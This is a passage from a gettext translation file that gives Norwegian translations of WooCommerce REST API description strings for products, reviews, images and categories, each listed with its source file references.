#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1535
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1541
msgid "List of cross-sell products IDs."
msgstr "Liste over ID'er til kryssalgsprodukter."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2051
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1527
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1533
msgid "List of up-sell products IDs."
msgstr "Liste over oppsalgsprodukters ID'er."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2066
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2042
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1518
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1524
msgid "List of related products IDs."
msgstr "Liste over relaterte produkters ID'er."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2060
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2036
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1512
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1518
msgid "Amount of reviews that the product have."
msgstr "Antall omtaler av dette produktet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2054
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2030
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1506
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1512
#: src/StoreApi/Schemas/V1/ProductSchema.php:171
msgid "Reviews average rating."
msgstr "Omtalenes gjennomsnittsvurdering."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2048
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2024
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1495
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1501
msgid "Allow reviews."
msgstr "Tillat omtaler."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2042
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2483
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:936
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2018
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:771
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1489
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1495
msgid "Shipping class ID."
msgstr "Fraktklasse-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2037
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2478
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:931
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2013
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:766
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1484
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1490
msgid "Shipping class slug."
msgstr "Identifikator for fraktklasse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2031
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2007
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1478
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1484
msgid "Shows whether or not the product shipping is taxable."
msgstr "Viser hvorvidt sending av produktet er avgiftsbelagt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2025
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2001
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1472
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1478
msgid "Shows if the product need to be shipped."
msgstr "Viser om produktet behøver å sendes."
#. translators: %s: dimension unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2018
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1994
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1465
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1471
msgid "Product height (%s)."
msgstr "Produktets høyde (%s)."
#. translators: %s: dimension unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2012
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1988
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1459
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1465
msgid "Product width (%s)."
msgstr "Produktets bredde (%s)."
#. translators: %s: dimension unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2006
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1982
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1453
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1459
msgid "Product length (%s)."
msgstr "Produktets lengde (%s)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2000
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1976
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1447
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1453
msgid "Product dimensions."
msgstr "Produktets dimensjoner."
#. translators: %s: weight unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1995
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1971
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1442
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1448
msgid "Product weight (%s)."
msgstr "Produktets vekt (%s)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1988
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1964
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1435
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1441
msgid "Allow one item to be bought in a single order."
msgstr "Tillat at kun ett eksemplar kan bli kjøpt pr. ordre."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1982
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1958
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1424
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1430
msgid "Shows if the product is on backordered."
msgstr "Viser om produktet er satt i restordre."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1976
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2435
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:888
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1952
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:718
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1418
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1424
msgid "Shows if backorders are allowed."
msgstr "Viser om restordre er tillatt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1969
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2428
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:881
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1945
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:711
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1411
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1417
msgid "If managing stock, this controls if backorders are allowed."
msgstr "Ved lagerstyring, dette bestemmer om restordre er tillatt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1958
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2417
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:870
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1934
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:699
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1399
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1405
#: src/Admin/API/Reports/Stock/Controller.php:397
msgid "Stock quantity."
msgstr "Antall på lager."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1952
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1928
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1393
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1399
msgid "Stock management at product level."
msgstr "Lagerstyring på produktnivå."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1940
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2399
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:852
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1916
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:681
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1381
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1387
msgid "Tax status."
msgstr "Avgiftsstatus."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1935
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1911
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1376
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1382
msgid "Product external button text. Only for external products."
msgstr "Produkt ekstern knapp tekst. Kun for eksterne produkter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1929
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1905
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1370
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1376
msgid "Product external URL. Only for external products."
msgstr "Produktets eksterne nettadresse. Kun for eksterne produkter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1922
msgid "Download type, this controls the schema on the front-end."
msgstr "Nedlastingstype, dette styrer skjemaet på publikumsområdet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1885
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2362
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:815
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1868
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:644
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1333
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1339
msgid "List of downloadable files."
msgstr "Liste over nedlastbare filer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1879
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1862
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1327
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1333
msgid "If the product is downloadable."
msgstr "Hvis produktet er nedlastbart."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1873
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1856
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1321
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1327
msgid "If the product is virtual."
msgstr "Hvis produktet er virtuelt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1867
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1850
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1315
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1321
msgid "Amount of sales."
msgstr "Antall salg."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1861
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1844
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1309
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1315
msgid "Shows if the product can be bought."
msgstr "Viser om produktet kan bli kjøpt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1855
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1838
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1303
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1309
msgid "Shows if the product is on sale."
msgstr "Viser om produktet er på salg."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1849
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1832
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1297
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1303
msgid "Price formatted in HTML."
msgstr "Pris i HTML formatt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1844
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2328
msgid "End date of sale price."
msgstr "Sluttdato for tilbudspris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1839
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2323
msgid "Start date of sale price."
msgstr "Startdato for tilbudspris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1834
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1807
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1272
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1278
msgid "Product sale price."
msgstr "Produktets tilbudspris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1829
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1802
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1267
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1273
msgid "Product regular price."
msgstr "Produktets ordinære pris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1823
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1796
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1261
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1267
#: src/StoreApi/Schemas/V1/ItemSchema.php:208
#: src/StoreApi/Schemas/V1/ItemSchema.php:258
#: src/StoreApi/Schemas/V1/ProductSchema.php:124
msgid "Current product price."
msgstr "Produktets gjeldende pris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1818
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2302
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:744
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1791
#: src/Admin/API/Reports/Stock/Controller.php:384
#: src/StoreApi/Schemas/V1/ProductSchema.php:111
msgid "Unique identifier."
msgstr "Unik ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1813
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1786
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1246
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1252
msgid "Product short description."
msgstr "Kort produktbeskrivelse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1808
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1781
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1241
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1247
msgid "Product description."
msgstr "Produktbeskrivelse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1801
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1774
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1234
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1240
msgid "Catalog visibility."
msgstr "Katalogsynlighet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1795
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1768
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1228
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1234
msgid "Featured product."
msgstr "Fremheved produkt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1788
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1761
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1221
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1227
msgid "Product status (post status)."
msgstr "Produktstatus (innleggstatus)"
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1781
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1754
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:535
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1214
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1220
#: src/Admin/API/ProductVariations.php:173
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:235
#: src/StoreApi/Schemas/V1/ProductSchema.php:77
msgid "Product type."
msgstr "Produkttype."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1775
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1742
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1202
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1208
msgid "The date the product was last modified, in the site's timezone."
msgstr "Dato for siste endring av produktet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1769
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1730
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1192
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1198
msgid "The date the product was created, in the site's timezone."
msgstr "Dato da produktet ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1762
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1723
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:880
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1185
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1191
#: src/StoreApi/Schemas/V1/ItemSchema.php:125
#: src/StoreApi/Schemas/V1/ProductSchema.php:88
msgid "Product URL."
msgstr "Produktets nettadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1757
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1718
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1180
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1186
#: src/StoreApi/Schemas/V1/ProductSchema.php:66
msgid "Product slug."
msgstr "Produkt-identifikator."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-tags-v1-controller.php:100
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2140
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2116
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1619
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1625
msgid "Tag name."
msgstr "Navn på Stikkord."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-shipping-classes-v1-controller.php:100
msgid "Shipping class name."
msgstr "Navn på fraktklasse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:580
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:189
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:918
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:123
msgid "Shows if the reviewer bought the product or not."
msgstr "Viser hvorvidt omtaleforfatteren kjøpte produktet eller ikke."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:575
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:184
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:899
msgid "Reviewer email."
msgstr "Omtaleforfatterens e-post."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:570
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:179
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:894
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:102
msgid "Reviewer name."
msgstr "Omtaleforfatterens navn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:565
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:174
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:913
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:117
msgid "Review rating (0 to 5)."
msgstr "Omtalevurdering (0 til 5)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:560
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:164
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:858
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:57
msgid "The date the review was created, in the site's timezone."
msgstr "Dato da omtalen ble opprettet, i nettstedets tidssone."
#: includes/data-stores/class-wc-product-data-store-cpt.php:275
#: src/Blocks/AIContent/UpdateProducts.php:217
#: src/Internal/StockNotifications/Frontend/SignupService.php:452
msgid "Invalid product."
msgstr "Ugyldig produkt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:249
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2190
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2522
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:190
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:987
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2178
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:190
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:822
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1681
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1687
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:62
msgid "Image alternative text."
msgstr "Alternativ tekst for bildet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:244
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2185
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2517
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:185
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:982
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2173
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:185
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:817
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1676
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1682
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:57
msgid "Image name."
msgstr "Bildets navn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:238
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2179
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2511
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1644
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:179
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:976
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2167
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:179
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:811
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1670
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1676
msgid "Image URL."
msgstr "Bildets nettadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:232
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2173
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2505
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:167
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:964
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2155
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:167
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:799
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1658
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1664
msgid "The date the image was last modified, in the site's timezone."
msgstr "Dato for siste endring av bildet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:226
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2167
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2499
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:155
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:952
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2143
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:155
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:787
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1646
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1652
msgid "The date the image was created, in the site's timezone."
msgstr "Dato da bildet ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:221
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2162
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2494
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1639
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:150
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:947
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2138
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:150
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:782
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1641
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1647
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:30
msgid "Image ID."
msgstr "Bilde-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:216
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:145
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:145
msgid "Image data."
msgstr "Bildedata."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:209
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:138
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:138
msgid "Category archive display type."
msgstr "Type visning for kategoriarkiv."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:196
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:125
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:125
msgid "The ID for the parent of the resource."
msgstr "ID'en for ressursens forelder."
